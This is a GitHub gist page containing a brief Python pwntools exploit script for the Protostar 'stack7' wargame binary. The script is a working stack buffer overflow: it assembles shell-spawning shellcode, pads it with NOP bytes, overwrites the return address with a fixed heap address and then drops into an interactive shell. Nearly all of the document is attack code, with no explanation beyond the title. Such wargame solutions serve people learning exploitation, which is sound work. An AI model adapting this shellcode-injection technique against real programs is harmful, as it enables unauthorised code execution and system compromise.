Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created February 25, 2017 16:08
Show Gist options
  • Save 0xPwny/673a49e5db9ad10a7d2d51764f280211 to your computer and use it in GitHub Desktop.
Save 0xPwny/673a49e5db9ad10a7d2d51764f280211 to your computer and use it in GitHub Desktop.
Protostar - satck7
from pwn import *
jmp2heap = 0x804a008
SC = asm(shellcraft.sh())
def pwny(s,addr,shellcode):
payload = ""
payload += shellcode
payload += "\x90"*35
payload += p32(addr)
s.sendline(payload)
s.recv()
s.interactive("Pwned$ ")
con = process("./stack7")
pwny(con,jmp2heap,SC)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment